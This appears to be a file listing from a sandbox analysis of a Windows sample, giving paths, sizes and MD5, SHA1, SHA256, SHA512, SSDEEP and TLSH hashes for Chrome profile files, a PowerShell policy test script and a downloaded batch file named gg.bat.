- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 4b3daaad65e06a0345e00717a11afc3f4e500ac996d5e2a6ecd2cc43663804b8
- MD5 fc7030877bfa7a070c23fb9a45e4a1fc
- SHA1 25322511f358449dd1eccefdd9d1830f75b77190
- SHA512 eb79710f7265dc98c6587ac3cbd4a55d1004c7d17e1ff6998d1831256d8f8ecbbab7183fb1b4b922b5d80dcc0ff6756d5e30a40336c2c8c4ab1299f825f2060a
- TLSH T1C0B0121084015901C08603B4114314D871585F11DB0A170183E07922C826172C8261A2
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe589267.TMP
- Size 96B
- SHA256 3c2cb594370d67de5feac4c67cb8731797e713a85b89d1b59d79418451a994f7
- MD5 5bd9e803dbd486977d85c039d35a2c14
- SHA1 dba0f2eef16b7bc647aeffdd15c6b2c96fd27bc9
- SHA512 2d5e451b8bea23bd2b0afcfa639516a854c1da91ae80d23a04989a2e6d8a1a846aced40c5b443437dca95e6081fee25d445a68674d790f7e306ea150023f3136
- TLSH T1C4B00266C1036613D08203B0659D95EC7162EF37C6071222D7E11A6BDC256B599692A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary\cache\index-dir\the-real-index
- Size 72B
- SHA256 a74fb15e36bf6d3fd09896a6d241c129e61c468664fb2fb441c96158cf02120e
- MD5 f24dbc2e01365bdf11288f7971b316fb
- SHA1 d0bd9b872669ac4387ef0024ce5236b2b51daaf8
- SHA512 068723485984a46f780b7d4b274fc46e4eb2927adfd657f95a77f8a55f7e76f706d785a807daa3b8a73d978a3aaeabac372ea4bd445a6af6873854a250f998d8
- TLSH T154A0026085903417C2CE83B41AD105A023194AE5134A3E6350D000858A9915382C23A1
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 c6444afa48e51a953f483db1e7b2eaac1f1700295aaf4bdf6e56a56d7fa53efb
- MD5 7c0be1edf52acf9503380d961620987f
- SHA1 7e6b5691cac80a6cef487e90f85f10e960a9a39b
- SHA512 e743988fda002c5c5ea6dc1d852db3ffe32412d29a7c3d73ed8a31cd7f5bf50e440ab1e1b1c36b2bc074f5f75808478940ceef810a746f6e698ffcab04a1d010
- SSDEEP 3072:VGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM3:8m7Rkm1tYpBeh2BAo3
- TLSH T135C312275D75A9375D79AB0EB08E0B1F1EF14AA6CD30DE92C8D86B0437E97CC0A05A34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 2fefdc8d8ebe62383269eda51429cbc4d97b216f31366610daae11c3149b3459
- MD5 6397f383ed51ac39a027391580355070
- SHA1 4aa18928b15700d37fc3f83850332bf031a8cb20
- SHA512 02afaf8efbfd48f3200ce03da0558234375afd0d240dc8078ccea45dc047ef02a7e50932bf9e0193a2e123ddfb56773ef573520c1cd2c2c3742f3da7e0c8b37b
- SSDEEP 3072:qGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM3:tm7Rkm1tYpBeh2BAo3
- TLSH T1E9C3122B5DB5B9375DB5BB1EB04E0B1F1EF14AB6C920DE92C8D45B0423EA7CC0A45A34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 79b6d8934eadac75cb018eeacfb56520dcd5643a734014693856ea6c519d8143
- MD5 8337080c617f46ee5f270930cdac636e
- SHA1 2c5a7ef2fd01926be945734fcad16c5ca460d26b
- SHA512 5403f4a5a3b319ad66fa6652ca596505ce615f64b474ea09d61bda51f0f340d976312a9716d186200fa6f5a92f5b0ffb94d767a695b8451d51fa93945016507d
- SSDEEP 3072:eGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM3:5m7Rkm1tYpBeh2BAo3
- TLSH T1FAC3122B5DB5B9375DB5BB1EB04E0B1F1EF14AB6C920DE92C8D45B0423EA7CC0A45A34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 2989158c9cc0c3697f5ad2d78efe7f793b909b969a64ea41897b479116b9893d
- MD5 8c45136396acd628ba446eaff3e9c5f9
- SHA1 a2791731959d45630f4b88f08d881a6f669a908a
- SHA512 9d8ee0e479488435dd3276f023251ffb720a62f57e6df1e133222aface746376229b6de012ef44924607570733e7a0816b5f894392cabf171bd25152c921d482
- SSDEEP 3072:MGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM3:/m7Rkm1tYpBeh2BAo3
- TLSH T1F5C3122B5DB5B9375DB5BB1EB04E0B1F1EF14AB6C920DE92C8D45B0423EA7CC0A45A34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 df8c27649e808c618e0850362cdff296ca4e427846c81481b6b0632fbfffade1
- MD5 87b185ad62f7f2c9b1e8e48e9ecb4086
- SHA1 41315a6b09ff2c43213202a79bacca9efbe71036
- SHA512 4c4ae1feab638c5ba0b9998aeaeb8afb2270bf9c6d63abac2b1d13d7fa2134077219144d1bd1d3f743127b987a24ceb33d1a730f400d135908b3702c9d7da7e3
- SSDEEP 3072:vGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM3:+m7Rkm1tYpBeh2BAo3
- TLSH T19AC3122B5DB5B9375DB5BB1EB04E0B1F1EF149B6C920DE92C8D45B0423EA7CC0A45A34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1
- Size 264KB
- SHA256 d714807806fa93cebc816d20eff9c821ae08e60cb20c74948431520381194ae6
- MD5 dbe2d26f3cf8385027f2972ccb9df309
- SHA1 911c49f30749b5d64f89ee79e01546f1cc26a723
- SHA512 076975712ac78d2a150d88cdef5f343fa702a772d39425718ac17c54ebd0feddda951edf274fc9a92d95802790a9153c4c283cfb21130afcbd99efa1801243b4
- SSDEEP 3:MsEllllkEthXllkl2zEklLlll:/M/xT02znR/
- TLSH T12E4404047FC54C0DD70110304011C351C3F4D4101555574335710C13DDC55404D00101
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\component_crx_cache\metadata.json
- Size 13B
- SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
- MD5 2aa9e263ee3796d9ce358460a2451b4c
- SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
- SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xy1j2ylw.0xb.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Downloads\gg.bat
- Size 3KB
- SHA256 8b444a8dc44c4c12adbb2a6876f594c7742287efb32d10d164f41decb46e6f8f
- MD5 3267ae3c7df0b1f750478e8d01270136
- SHA1 f62085d108ab610a8d7b8a498ee52d037d9d570e
- SHA512 0c283ac09279ef9ef13ec1f0aa91a727465fa6dc70981563e9889816ea25cb0c3f3322f1effb1c8a23a9b41995514519f75443521a945eeb2c4d4abce1013675
- TLSH T1467101073C4A8C694366F5E2ADEB4153E786C3472D532BD670DD6094BB063A453AEACC
- MD5 SHA1 SHA512 TLSH